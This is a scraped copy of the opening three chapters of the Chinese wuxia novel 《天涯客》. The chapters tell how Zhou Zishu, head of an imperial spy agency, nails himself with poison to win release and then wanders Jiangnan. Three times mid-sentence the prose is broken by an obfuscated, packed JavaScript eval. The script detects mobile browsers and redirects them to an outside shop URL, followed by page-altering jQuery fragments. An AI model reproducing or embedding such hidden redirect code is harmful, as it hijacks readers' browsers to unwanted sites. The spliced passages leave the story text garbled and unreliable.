《天涯客》 1. 第一章 天窗 院子里的梅花开了满枝,落了满地,铺到未来得及化干净的残雪上,乍眼一看,直教人分不出哪里是雪、哪里是梅,风起时暗香悠然,满院流转。 黄昏幕下,月上房檐,光凉如水。 小院尽头有个叫梅花掩映了半边的角门,有些年头的模样,推开小门过去,里面便大不同了,门口站着两个精壮汉子,具是披甲持刀的,门廊狭窄逼仄,底下铺着大青石的砖,通往一个漆黑的囚室,一股子悠悠沉沉的肃杀气扑面而来。 花香仿似被阻隔到了门院那头,一点也过不来。 那里也站着几个侍卫,身上配着刀剑,站得木头人也似的,门口有成年男子手臂那么粗的大铁栏。 穿过囚室那一点黑洞洞的窄道,往里走,便是三道有机关控制的大石门,每道门口都有人守着,过了这三道石门再往里,便连一点人间的活气都不见了似的,仿佛那段长长窄窄的路是黄泉冤魂路一般,几点灯火闪烁不休,活似鬼火。 最里面的囚室里有个男人的声音低低地说了句什么,随后静谧了片刻,仿佛有另外一个人叹了口气,轻飘飘的不着力。 忽然,一声惨叫骤然划破了囚室里的漆黑,连火光都明灭了一下,那惨叫尖厉极了,垂死的动物似的,只叫人心里升起说不出的寒意。 门口背对着囚室的两个侍卫中的一个人,像是新来的,脸上还带着少年的青涩,倏地听见这动静,忍不住打了个寒战,偷偷地瞥了一眼自己的同伴,发现对方像是聋了一样,不动如山地站得笔直,立刻也收敛了心神,垂下眼。 可那惨叫声实在太过高亢持久,那人叫破了音,沙哑了嗓子仍不止不休,最后气息不继,厉声惨叫变成了呜咽的呻/吟,却愈显得凄惨。 新来的侍卫只觉得身上鸡皮疙瘩争先恐后地跳出来。 约莫过了有一炷香的功夫,那人的声音才消散了下去。又过了不多时,两个人拖着一个不知是死是活的中年男子出来,男人赤着膊,头歪在一边,头发已经被汗打湿了,唇舌咬得稀烂,血沫子顺着嘴角冒出来,身上倒是没什么伤,只是胸腹七处大穴上各被钉了一颗暗红的钉子。 像是连成了一个诡异可怖的图腾,少年侍卫的目光情不自禁地追随着那中年人,直到他们消失在石门的那一头。 这时,一个人低低地在他身后说道:“看见这个,后悔了不曾?” 少年侍卫吓得一哆嗦,猛地回过头去,只见一个身着宝蓝色长袍的男子不知何时,无声无息地站在他后边,一边的同伴已经单膝跪在地上,少年反应过来,忙也跪下,口中道:“庄主。” 长袍的男子看着似是二十八九的年纪,样子斯斯文文的,倒像个文士,只是脸上笼着一层病容,眉眼轮廓深刻清晰,眼珠极亮,总是微微垂着,叫那极长极浓密的睫毛遮住半边,偶尔抬起来,便带着股子说不出的冷意,每每看得人心里也寒凉下来,鼻梁挺秀好看,嘴唇却轻薄得很,叫那俊美的脸凭空添了一种薄情寡义的味道。 听见少年的称呼,男人忍不住多看了他一眼,轻笑了一声,道:“新进来的吧?” 少年低下头:“是。” 男人抬起手,在他肩膀上轻拍了两下:“那记着,以后不能叫我庄主,我早不是什么庄主了,下回该称呼我一声周大人。” 少年抬头飞快地看了他一眼,又毕恭毕敬地低下去:“是,周大人。” 男人点点头,摆摆手,道:“你们俩去吧,我一个人清净一会。” 两个侍卫应了一声,并肩出去了,少年侍卫仍忍不住回头看了一眼,见那蓝袍的男子静静地倚在门框上,眼睛好像在盯着虚空中的什么看,又好像什么都看不见,少年莫名其妙地,觉得他像是要去很远的地方似的。 第一道铁门落下来,一边默不作声的老侍卫忽然低低地说道:“你看大人的样子,像是个又斯文又温和的书生似的,能想到就是他那双手,给老毕钉上了‘七窍三秋钉 ’么?” 少年一愣,偏过头去看年长的同伴,老侍卫的两鬓都白了,叹了口气道:“你不懂的事还多着哪,咱们‘天窗’,压根就是有进无出的,要出去,非得死了残了不成。” 大庆荣嘉四年时,“天窗”之名已而能叫整个朝野闻之悚然。 “天窗”乃是一个由探子和杀手组成,直接效忠于皇帝的组织,谁也不知道他们有多少人,谁也不知道他们隐藏在哪里——可谁也不怀疑,他们的触角能伸到天涯海角去。是容嘉皇帝赫连翊还是储君的时候一手建立的,到如今,已而进出森严,规矩条整了。 “天窗”第一任的首领——那宝蓝长袍的男子,便是曾经的“四季庄主”,如今的周大人周子舒。 上至宫廷秘事,下至贩夫走卒,在“天窗”这里,都仿佛没有秘密一样,所以便有了规定,凡有嘴会说话的活人,都不得离开天窗,进来又出去的,除非死了,要么便是自请上“七窍三秋钉”的。 所谓“七窍三秋钉”,便是在人胸腹间最要紧的七处大穴上以内力封入七颗毒钉,七经八脉凝滞不行,从此武功尽废,口不能言语,四肢不能稍动,形如废人,三年毒入五脏,气绝身亡。 虽偷生三年,却生不如死。 可纵然如此,仍不时有人宁愿当个活死人,也要离开天窗。 三年的苟且偷生,便是御赐的最大恩惠。 且说周子舒屏退了左右,自己一个人回到小小的囚室里,合上门,双手负于身后,若有所思地慢慢地踱过一周,随后停住脚步,取出墙角放置七窍三秋钉的小盒子,打开。这形容可怖的小东西竟散发出一种如落梅冷香一般的味道来,周子舒深深地吸了口气,随后伸手解开自己的长袍。 他表面上看起来身量颀长匀称,然而这一解开衣服,才显出干瘪得像是被什么抽干了一样的身体,那枯瘦的胸腹之间,竟分明已经插着六颗七窍三秋钉,不知什么年月钉上去的,都快长到了肉里。 周子舒低头看了看自己的身体,自嘲似的笑了笑,从旁边捡起一把小刀,咬咬牙,将每一颗钉子附近已经在合拢的皮肉重新割开,他下刀极快极稳,像是割得不是自己的皮肉一般,没多大工夫,整个前胸都被血染透了,再看上去,那些早钉进去的钉子便像是才打进去的一样。 随后,便像是启动了什么关卡一样,他闷哼一声,随即整个人软绵绵地靠在墙角,慢慢地滑下去,身体不住地颤抖着,嘴唇上仅有的一点血色也褪尽了,牙咬得“咯咯”作响,忽然猛地一抽搐,他眼睛略微睁大了一些,然后缓缓地合上,头歪在一边。 脸色青白,一身血迹,像已经变成了一具尸体。 直到第二日晨曦初照时,囚室里蜷缩在一角的人才轻轻地抽动了一下,然后慢慢地睁开眼,第一回试着起来的时候,腿一软又差点摔回去,第二次才勉强站起来,掏出绢子,沾了水,小心地将胸口的血迹擦去大半,重新拢上衣襟,捡了一颗七窍三秋钉,收进怀里。 深深吸了口气,推开门,走了出去。 大步走出了囚室,回到了那冷梅白雪的小院子,周子舒只觉得一股沁人心脾的香扑面而来,好像轻易便将他满身的血腥气涤荡干净了似的,他在一棵梅花树下站了许久,凑上去轻轻嗅了嗅,脸上不自觉地露出些许笑容来。 又轻飘飘地叹了口气,低低地道:“来人。” 一个黑衣人影子一样地钻出来,躬身等他说话。周子舒掏出一块暗色的令牌丢给他,道:“去请段大管家来,今日叫他跟我一起面圣。” 黑衣人接过令牌,便又神不知鬼不觉地失踪了,仿佛他从未在那里出现过。 段大管家段鹏举,是周子舒掌握天窗之后,一手提拔上来的,只听他一人的调配。此人有本事,也有野心,并从不吝惜展示这种野心。 周子舒有时候看着他,就如同看着几年前的自己一样。没多大一会功夫,段鹏举带着令牌来了,他还有些不明所以,毕竟这是一群见不得光的人,平日里除了周子舒,其他人并没有太多的面圣机会。 周子舒也不多说,只留他用了一顿早饭,估摸着皇上差不多要下早朝了,才吩咐一声:“走吧。” 便往宫里去了,段鹏举虽不知他是什么意思,也不多问,只默默地跟上。 两人一前一后地到了上书房,容嘉皇帝赫连翊已经在那里了,一听说他们来了,登时便让人将二人叫了进去。周子舒和段鹏举行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450091|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大礼后,周子舒从袖中掏出一卷竹筒来,呈给赫连翊道:“皇上,这是您上回吩咐的。” 赫连翊接过来,却不急着看,反而打量了一番周子舒,忍不住皱眉道:“你这脸色越发不好了,回头叫太医给你瞧瞧,必是身上有暗伤,千万小瞧不得,别依仗年轻便不当回事。” 周子舒微微笑了笑,没点头,只道:“劳皇上挂心了。” 赫连翊又瞟见了段鹏举,先是一愣,随后问道:“今儿鹏举怎么也过来了?朕可有日子没见过你了,瞅着倒精神了不少。” 段鹏举眯起一双小眼睛,忙陪笑道:“难为皇上日理万机,还能记着老奴。” 赫连翊笑了笑,隐约觉得周子舒似乎有话要说似的,便先把他带来的竹筒打开了,从里面取出一个小纸卷,一目十行地看了,脸上露出一个笑容,抬头对周子舒道:“这事办得漂亮,子舒可要朕怎么犒赏你?” ——来了。 周子舒忽然掀起衣摆跪在地上,段鹏举不明所以,只得跟着跪下。 赫连翊皱皱眉,问道:“你这是做什么?” 周子舒像是气力不济一样地轻声道:“臣但求皇上赏个恩典。” 赫连翊笑道:“起来说话,你为我大庆出生入死这些年,除了这江山,要什么朕不能答应你?且说说。” 周子舒直起身来,却仍是跪着,随后默默地解开长袍衣襟,那拢得厚实而密不透风的长袍一解开,一股子血腥气立刻扑面而来,他那才结痂止血的身体因为这一路轿马颠簸,再次淌出血来。 赫连翊“腾”地一下站了起来:“子舒!” 段鹏举已经吓得没了声。 周子舒又将手掌打开,修长的手掌上躺着最后一颗七窍三秋钉,说道:“皇上,臣自己打了六颗,若是第七颗也打进去,怕是就撑不到宫里和皇上辞行了,求皇上给个恩典,叫鹏举帮着成全了臣吧。” 赫连翊呆愣良久,竟一个字都说不出来,半晌,才颓然坐回去,仰头去看上书房的大梁,自言自语似的低声道:“允行远驻西北,北渊……北渊没啦,如今连你也要抛下朕了么?” 周子舒默然不语。 赫连翊沉默了一会,叹息似的说道:“朕是孤家寡人哪。” 周子舒接着道:“皇上,天窗的事您不用多操心,鹏举这些年一直跟着我,信得过,也是有本事的……” 段鹏举截口打断他:“庄主!庄主您不能这么说,我老段绝没有这样的想法!您……您不能……” 周子舒低低地念道:“七窍三秋钉,三秋必断肠,开弓没有回头箭——” 他弓下身去,给赫连翊磕了个头,磕完却不抬起头来,口中道:“念在臣这么多年侍奉的份上,成全了臣吧。” 赫连翊死死地盯着那血葫芦似的人,那一刻没人知道这正当盛年的帝王心里想的是什么——那些年谨小慎微,那些年机关算尽,那些年狼烟四起,那些年风霜苦寒,那些年……而终于他君临天下,可所有人都不在了,只剩他一个。 每个人都逃不过世事无常,和岁月的遗弃。 半晌,他闭了眼,挥一挥手。 周子舒嘴角勾出一个笑容:“谢主隆恩。” 他像是遇上了什么开心极了的事一样,带着病容的苍白的脸上竟泛起些许红晕来,兴高采烈地转向段鹏举,将最后一颗钉子塞到他手上:“来吧。” 段鹏举踟蹰了半晌,才咬咬牙,举起暗红不详的钉子,死死地钉进他庄主的血肉之躯里,他知道那是极疼的,这些年见惯了的,最铁血的汉子也受不了这一下,而忍不住失声惨叫,可周子舒却只是轻轻瑟缩了一下,依旧挺直着身体,没有惨叫,只有一声几不可闻地闷哼。 他甚至觉得周子舒那闷哼里都带着笑意。 段鹏举觉得庄主已经疯了。 周子舒在原地缓了半晌,最后向赫连翊一拜,一张脸白得像纸糊的。 他身体里的气力正飞快地退去,麻木的感觉开始慢慢升起,开口说出最后四个字:“皇上保重。” 随后不等赫连翊回话,便大步走出上书房,像是歇下了什么包袱一样的轻快,身影一闪,不见了踪影。 2. 第二章 偶遇 七窍三秋钉有一个秘密,这秘密眼下除了周子舒,没有人知道,往后大概也不会有太多的人知道——若是一次连钉七根钉子,人当时就不行了,功力深厚的如周子舒,大概也够留一口气叫他离开皇宫,恐怕到不了宫门口,便成了一摊不能言不能动的烂肉。 可若是每三个月钉进一次,叫那钉子一点一点地长进自己的身体里,和自己变做一体,慢慢适应,虽然三年后也得吹灯拔蜡,可好歹能剩下五成内功,并且言语行动皆能如常人,只是须得忍受十八个月锥心蚀骨一样的疼。 听说单是那种疼法,便能叫人疯狂,不过周子舒很快乐地想,这传言原来是不对的,起码他现在没疯,不但没疯,他觉得,这一辈子好像都没有这样快乐轻松的时候。 天窗对于自请离开的人,自然也会有后续的监控,什么人,何时离开,安顿在何处,葬身在何处,都有详细记载,就像是一张巨大的网,进去了,就一辈子出不来。 可怜他半生卖命,终究还是有几个心腹的。 周子舒,昔日荣嘉皇帝一手扶植的天窗首领,武艺高强,极善易容之术,他走进人群一转身,便再没有人认得出。 而这游走于宫廷之中最恐怖的那一个暗影,就这么从世上消失了,留下的,只有一个骑着瘦马,一路叼着茅草荒腔走板地哼着乡野小调,潦倒落魄的流浪男人。 成了从这个恐怖的网中脱困的第一人。 他脸上带了张不怎么精致的人皮面具,随意涂抹得自己一脸青黄,看起来好似是个随时可能蹬腿的病夫,在河边喝水的时候对着水面瞧了瞧,觉得挺合适自己的真实情况,越看越满意,又在路边农户家里顺手牵羊出一套粗布衣服,将原来的那身锦袍脱下来烧了,腰上系了个锈了一半的酒壶,里面装着半壶粗制滥造的浊酒。 又想起这些年自己一直隐于皇宫大内,从未以本来名姓行走过江湖,连个化名都不用想,便欢欢喜喜地这么上了路。 他也没什么去处,都说江南好,便想上江南看看,一路走走停停,做些个劫富济贫的勾当糊口,过开封,走蓬莱,慢慢悠悠,三个多月,才到了草青莲红的江南。 一到地方,便先潜进了天下第一楼的酒窖,将桂花甜酒酿尝了个遍,醉生梦死一遭,美得飘飘然,只觉这日子是再好也没有了。 十几日之后,一时喝多了,险些被发现了行踪,也觉得酒酿虽好,毕竟绵软,趣味减了些,于是抛下足两的银子,又离开了酒窖。 这十几日一过,那形象便更不佳了,他顶着一张痨病鬼的脸,陪着上面蜷在一起的猥琐五官,便是正宗无比的一脸菜色,再加上一身衣服泡在酒里十多日,几乎成了酒糟,乱七八糟的头发一缕一缕地垂下来,活似个要饭叫花子。 所以坐在路边闭着眼睛晒太阳的时候,竟有个小胖娃娃,蹦蹦哒哒地从他身边走过,又蹦蹦哒哒地走回来,瞅瞅他,从身上摸出一枚铜板捏在手里,只是不知道往哪放,寻摸了半天,还问道:“大叔,你的碗呢?” 立刻被家里大人抱走了,只叫他哭笑不得。 很多年过去了,过去的朋友、牵挂的人,一个个不是死了,就是远走他乡,周子舒靠在墙角,伸展开四肢,惬意地晒着暖烘烘地太阳,嘴角带着点笑意,就开始琢磨,这么多年,图什么呢? 年轻的时候,总觉着自己是个不得了人才,什么褒义词都往自己身上揽,什么绝顶聪明,什么心有九窍,什么武艺高强,什么见多识广,好像不做出一番事业就枉来人世一遭似的,如今想起来,图什么呢? 又落下什么了呢? 不过舍弃了自由身,给皇家做了个见不得光的奴才,兜兜转转,原来有的东西也都赔干净了,到现在一无所有孤家寡人,又处心积虑拼了性命地把自己赎出来,还觉得做得挺聪明。 他忽然又悲怆起来,只觉世界上再有傻的,可也傻不过自己了。 有多少年没这样,脑壳空空的在路边晒一晒太阳了?可笑路边行人,个个行色匆匆,赶死一样地来来回回,倒比他一个算着日子快嗝屁的还急似的。 只听旁边酒楼上,一个女子脆生生地道:“公子,你瞧那人,若说他是要饭的,身边却连个破碗都没有,若说不是呢,又巴巴地那坐了一上午了,什么都不干,只嘿嘿傻笑,莫不是个傻子吧?” 如今的周子舒虽然功夫只剩了一半,耳力却犹似当年的好,那女子虽隔了一条喧闹的大街,声音又不大,还是叫他一个字不漏地听了去。 还没来得及暗地里自嘲,下一刻,便又一个男人的声音说道:“他是在晒太阳。” 这男人的声音十分好听,低低沉沉的,吐字极慢,却不黏糊。 周子舒便忍不住抬头望去,只见对街酒楼二楼靠着栏杆,一个长相极好的紫衣少女和一个身着灰衣的男子相对而坐,那男人脸色微有些苍白,眼珠却很黑,像是将光都吸进去了似的,这黑白分明,看来竟有些不像活人,周子舒那么一抬头,目光正好和他对上。 灰衣男人面无表情地将目光错过,便面无表情地转过了头,专心吃着桌上的饭菜。 周子舒便忍不住失笑,心说人海茫茫,竟还遇上个知己。 那紫衣少女一双水汪汪的大眼镜却仍在他身上打转,半晌,终于忍不住了,和那灰衣男子知会了一声,便蹦蹦跳跳地下楼来,跑到周子舒面前,说道:“要饭的,我请你吃饭怎么样?” 周子舒懒洋洋地看了她一眼,摇头道:“小善人,你不如请我喝酒。” 紫衣少女娇笑起来,回头对那楼上大声道:“公子,这傻子叫我善人哪!” 可惜那灰衣公子像是没听见似的,一个眼神都没给她,只极专注地吃饭,像是眼下天崩地陷了,也不能磨灭他对食物的相思之情一般。 紫衣少女便问道:“别人都要饭,怎么单你要酒?那酒有什么好的,能管饱么?” 因她长得美,周子舒也忍不住想多和她说几句,便半带玩笑地说道:“凭酒借红颜。” 紫衣少女一愣,随即忍不住笑得停不下来,她笑起来也仿佛花枝乱颤一样,周子舒觉得自己运气不错,江南果然是多美人的,便一边欣赏她,一边摇头晃脑地叹道:“寄言全盛红颜子,应怜半老白头翁。姑娘这样幸灾乐祸,可不厚道了。” 少女惊讶道:“哟,你还文绉绉的哪。”便蹲下来,飞快地伸手将他腰上酒壶解下来,跑到酒楼里,片刻又回来。 周子舒便要伸手去接,谁知少女飞快地将手一撤,笑道:“我问你个事,若是你说对了,我便把酒壶给你,请你喝酒,若是你说不对,我就往里下毒,叫你喝了穿肠烂肚。” 周子舒苦笑,这少女美则美矣,竟也是个棘手不省事的,便问道:“我那酒壶乃是从一个老叫花子那赢来的,里面也不知道泡了多少只虱子的尸体,你若喜欢就拿去,我不要了还不成么。” 紫衣少女眼珠一转,笑嘻嘻地道:“你叫姑娘白跑一趟,我可生气啦,生气了就得杀了你。” 周子舒心道,这是哪里来的小魔星,白长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450092|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得跟天仙似的,只得道:“你说。” “我问你,你在这要饭,为何身边连个装钱的破碗都没有?” 周子舒挑起眼看了看她,说道:“我几时说我是要饭的?不过占个墙角晒太阳罢了。” 紫衣少女一怔,下意识地便回头去看那酒楼上的男人,那灰衣男子显然也是个耳力极好的,听见他们说话,手顿了顿,便没别的表示了,又清风无愁、下箸如飞地继续专心吃东西。 少女仰头望了望明媚的天光,有些困惑:“我怎么看不出太阳有什么好晒的?” 周子舒笑着摇摇头,站起身来,伸手一捞,轻轻巧巧地便将自己那破酒壶捞回来,少女“啊呀”一声,一个没提防,竟被他得了手,颇有些困惑地望向他,只听这一副叫花子样的男人说道:“姑娘年轻,自然有很多事要做,得赶着赶紧吃饱喝足,养足了精神才行,我一个黄土埋到脖子的人,除了喝酒,便剩下混吃等死,不晒太阳做什么?” 他仰头灌了一口酒,砸吧两下,大声赞道:“好酒,多谢姑娘!” 言罢转身便走,那紫衣少女下意识地伸手去抓他,她自以为功夫算不错的了,可谁知本以为一伸手便抓到的人凭空在她眼前晃了晃,竟差了一寸没碰到,再一看,那叫花子已经晃进了人群里,再也找不到了。 她有心想追上去,却听酒楼上男子轻声道:“阿湘,你本事不行,眼力也不行么?还在那丢人。” 他说话的声音似是耳语一样,没有分毫刻意提高音量,可那声音偏偏从高楼上,经过喧闹的人群,准确无误地传到少女耳朵里,紫衣少女垂头丧气起来,不敢再自家主人面前造次,往人群里最后看了一眼,便转身上了楼。 周子舒晃晃荡荡地抱着酒壶一路喝一路走,江南水多,他在小桥流水旁边一走一过,从水面上瞟了自己一眼,也觉得这副尊荣有些对不住这地方,估摸着大概不会有客栈愿意留宿他,便沿河一路往城外走去,河里是一片片小渔船,摆渡路人的。 这会正是春日游人多,他转了一圈也没有得闲的,好容易看见一个船靠在岸边的老渔樵,便走过去。 老樵夫的乌篷船在一边停着,旁人都忙得不可开交,也不知为什么到了他这里便闲得什么一样,在岸边四仰八叉的躺着打盹,草帽扣在脸上,只露出满头干枯的白发。周子舒便走过去,不着急,也不去叫那老渔樵,只是一屁股坐在他旁边,等着他睡醒。 谁知过了一会,那老渔樵自己却躺不住了,气呼呼地一把将脸上盖的草帽拽下来,苦大仇深地瞪着他,张口便骂道:“奶奶的,没看见老子睡觉呢么!” 周子舒也不生气,说道:“老丈,生意来啦。” 老渔樵又骂道:“你娘的,你嘴长着留着出气还是留着放屁?要坐船不会说一声?” 言罢站起来扭了两下腰,拍拍屁股,回头见周子舒还坐在地上,立刻又火冒三丈:“你屁股长地上啦?” 周子舒眨眨眼,就明白为什么别人都忙着摆渡,只有他一个闲着了。 灰溜溜地站起来,跟在老人身后,一边听着他嘴里骂骂咧咧不干不净,又厚着脸皮问道:“老丈,有吃的么?剩饭也行,给我一碗。” 老渔樵粗声粗气地道:“还是个饿死鬼投胎。” 便从怀里掏出一块咬了一半上面还有牙印的饼扔过去,周子舒也不嫌,一面跟着他上船,一面笑嘻嘻地接过来,张嘴就咬。 老渔樵将船划出去,瞥了周子舒一眼,还兀自恶狠狠地道:“你娘的。” 3. 第三章 荒庙 周子舒满不在乎——这世上各种寻死觅活的事他都办过了,也就啥都不在乎了,就着那老渔樵嘴里不干不净的话,全当下饭。 乌篷船静静地分开河水,河岸那头有个姑娘糯糯地叫道:“菱角,卖菱角。”就仿佛年光同这河水一般缓慢流淌,周子舒想,真死在这里,也值当了。 他路过蓬莱的时候探访过传说中的仙山,当时在半山腰上就这么想的,可后来又觉得,传说中杏花烟雨的江南还没细细游览过,有些亏,便又一路南下到了江南,眼下他又恍然间生出这种感慨,咬了一口手里又干又硬的饼,鼓着腮帮子使劲嚼了半天,好容易才咽下去,晃晃脑袋,又寻思,看了江南,三山五岳可还没去过呢,还是亏。 便又放下了终老此处的感怀。 忽然,老渔樵像是被唾沫噎住了一样,骂声停下了,弓着背,微偏着头,一双眼睛眨都不眨地望着一个方向。 周子舒有些奇怪,便从船里微微探出个头,顺着他的目光望去。 只见老渔樵定定地瞅着两个岸边行路的人——正是那酒楼上的灰衣男子和美貌少女。老渔樵头发虽白,一双眼却目光如电似的,仔细看来,藏在一头乱发下的太阳穴还微微凸起,手掌粗大,筋骨虬结,不用说周子舒,只要不是瞎子,都能看出这老头子身手不简单。 叫他这样戒备得盯着看,想来那遥遥一对视的萍水知己也不是什么简单的人。 美貌少女这会看着虽然蹦蹦跳跳,却始终谨慎地走在那男子身后一丈左右的地方,丝毫不敢僭越。 周子舒扫了一眼,便知道这姑娘是那灰衣人下人或侍妾之类的身份,这姑娘虽有些刁蛮,相貌形容却颇对他的胃口,可到底是别人的人,便也不多打量,收回目光,接着对付手里的干饼。 江湖么,走到哪都有是非,朝堂是个名利场,江湖便是个是非场,有人总想不明白这件事,好像仗剑骑马走天涯是件多了不得的事似的,临死都念叨着。 不过眼下是是非非,和他这一个人吃饱了全家不饿的人,又有什么关系呢? 老渔樵住了嘴,周子舒反而觉得有些寂寞,便吼了一声道:“老丈,你这饼子欠点咸淡味,甭管粗盐细盐的,您好歹多放点呀。” 老渔樵火冒三丈地骂道:“你娘的,那么大个的饼都堵不你的嘴,有饼吃还他奶奶的嫌东嫌西,饿你个兔崽子三天,看你吃屎不说香……” 他一张嘴就仿佛有停不下来的趋势,周子舒就笑了,咬着干饼也有劲了,觉得自己有点贱。 渡人过河不过几个铜板,周子舒大手大脚地给了老渔樵一块碎银子,老渔樵一点也不觉得受之有愧,揣起来就走,脸上那副债主的表情,大概还嫌弃给钱给少了。才到对岸,老渔樵亟不可待地把他往下轰:“快滚快滚,别耽误老子正事。” 周子舒慢慢悠悠地把最后一块饼扔进嘴里,伸了个懒腰,从船舱里钻出来,含含糊糊地道:“赶着投胎么?” 老渔樵一双铜铃眼瞪圆了,一副很想破口大骂、问候此人祖宗十八代的架势,却想起了什么似的,终究还是把话给咽了回去,气哼哼地划起船走了。 也亏得这老东西不知道在这干什么,托了这么个假身份,若他真是以摆渡为生,还不得穷得当裤子? 眼看着小船摇摇晃晃地走远了,周子舒才气定神闲地道:“你娘的。” 他半辈子都跟一帮斯文败类混在一起,原来也是一张嘴就拐弯抹角子曰子云的,从未曾光天化日之下如此出言不逊过,这时候脱口而出这么一句,竟觉得非常痛快,好像胸口郁结的东西统统倒了出去似的。 他惊奇地发现,骂街竟然是这样舒服的一件事,于是笑盈盈地又小声嘀咕了一句:“你个拿钱不好好办事,吃饭不拉人屎的老龟孙。” 说完好好咂摸了一下这句话,只觉得心情舒畅、满口余香,于是心满意足地顺着河边慢慢走了出去。 周子舒东游西逛地转了整整一天,一直晚上,转悠到了城外,找了个小水塘,才把自己这自己都快忍不下去的酸腐洗了洗,好歹把自己涮得像个人了,这才琢磨着找个地方对付一宿,又走了约莫一里地,看见一个破破烂烂的荒庙,他便走了进去,将茅草铺开,在我佛脚下缩起身子,打了个哈欠,睡了。 尽管他现在心里没事,脑袋一碰茅草就能一觉睡到第二天天亮,仍然是得在没人打扰的情况下,半夜的时候,不远处的一阵脚步声和人声还是把他吵醒了。 三个人出现在荒庙门口,一股子血腥味就扑面而来,周子舒睁开眼皱皱眉。 受伤的人头上戴着斗笠,不知道有没有意识,整个人被个十四五的半大少年架着,那少年看来有些功夫底子,却也气力不济,气喘得像病牛一样,吃力地架着受伤的人,旁边跟着个下人打扮的老妇,怀里抱着个布包,踉踉跄跄地一路小跑。 少年进庙门的一刻,像个受惊的小兽似的,小心翼翼地眼珠四处一扫,周子舒人躺在佛像的阴影里,气息放得又极轻,少年一开始也没留神到他,低声对那带斗笠的男人道:“李伯伯,咱们在这躲上一会吧,我瞧您的伤……” 他话还没说完,那就剩半条命的人便从少年身上挣脱出来,勉励站直了,双手对着周子舒的方向一抱拳道:“咳……这位朋友……” 他这一抬头,话音登时顿住,周子舒也看清了,这人正是摆渡了他的那老渔樵,胸口后背各有一处刀伤,整个人血葫芦一般,当即坐直了身体:“是你?” 老渔樵苦笑一声:“他娘的,是你这要饭花子……” 话音未落,整个人便往前扑去,那少年忙伸手去扶,自己却也力竭,被他一起带得摔倒在地上,话音里都带了哭腔:“李伯伯……” 老渔樵周身抽动了一下,周子舒忍不住探起身,见他那血流出来带了一丝诡异的紫色,连带着他的嘴唇都是铁青的,便皱了皱眉。 老渔樵勉强笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450093|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低声道:“你他娘的还是不是爷们儿,哪来那么多马尿?老子……老子还没死透哪……” 一边的妇人也抹泪道:“李大爷,您若也有个三长两短,我们少爷可指望谁去呀?” 老渔樵瞪了她一眼,用力吸了一口气,颤颤巍巍地对那少年说道:“我……也是个没出息的……只是当年受了你爹的恩,拿命报了,也没别的东西啦……”他咳嗽起来,没咳嗽一下,身体就抽动有一回,“小子,你记着……” 记着什么还没说完,庙门口便又传来一阵急促的脚步声,一个黑衣人大步走进来,那黑人未曾蒙面,脸上有一块刀疤,见了这穷途末路的三个人,猫捉耗子似的歪嘴一乐:“好哇,你们跑得倒是远。” 那少年咬咬牙,从腰间抽出一把剑,便像黑衣人扑过去:“我杀了你!” 怎奈气势惊人,实在是一身三脚猫的功夫,瞧着浓眉大眼挺灵气,人却笨手笨脚的,一招都没使出来,便被那人轻描淡写地挑了兵器去,反掌一拍,正好拍在他小腹上,逗猫似的将他弹出一丈多远。 少年随后起身,灰头土脸的大叫一声,却丝毫不见害怕,又赤手扑上去。 老渔樵急了,似乎想爬起来,却伤得太重,动了一下,又重重地摔在地上。 黑衣人冷笑道:“小兔儿爷还要咬人不成么?”便侧身闪过,屈指为爪,抓向那少年后心,月光下他那手章竟不似血肉做的一般,泛着淡青色的冷光,要痛下杀手。 周子舒本不欲管闲事,想着毕竟和那老渔樵有个“同船渡”的缘分,这少年又小,不愿意见他这么点年纪便送死,手中已经扣上一颗小石子,手掌一翻,才要弹出去,忽然一声唿哨,那黑衣人目光一凛,平地翻了个跟头,那少年扑了个空。 方才黑衣人站的地方却钉上了一个一寸长的莲花形状的暗器。 只听一个少女娇滴滴地道:“好家伙,深更半夜的,竟有这样不要脸的人,在荒郊野外欺负老妇弱子。” 周子舒心里一动,这声音耳熟——便将那粒未出手的小石子又收回来,慢吞吞地躺了回去,静观其变。 那黑衣人脸抽动了一下,眼睛突突地跳着——周子舒觉得是他脸上那道疤伤得,脸有些僵硬,像中了风的,凶狠中又有些可笑,只听他怒道:“哪里来的小贱人?” 那少女笑了笑,周子舒定睛望去,见门口一道紫色身影闪过,进来的正是那今日扬言要毒死他的小姑娘,便觉得自己今天是定然有此奇遇了,这荒庙中的恩怨情仇竟有小一半人都是他遇上过的。 不知这紫衣少女的那主子去哪了,她歪了头,一脸天真烂漫地靠在门口,指尖绕着自己的辩稍,一面用食指在脸上轻轻一刮,笑道:“老贱人,你羞也不羞,欺负人家老人小孩,还有个快死的。” 老渔樵也不知有气没气,白天还神气活现地骂人,这会听人说他是个“快死的”,竟还真就快死的似的倒在地上,一个屁都放不出来。 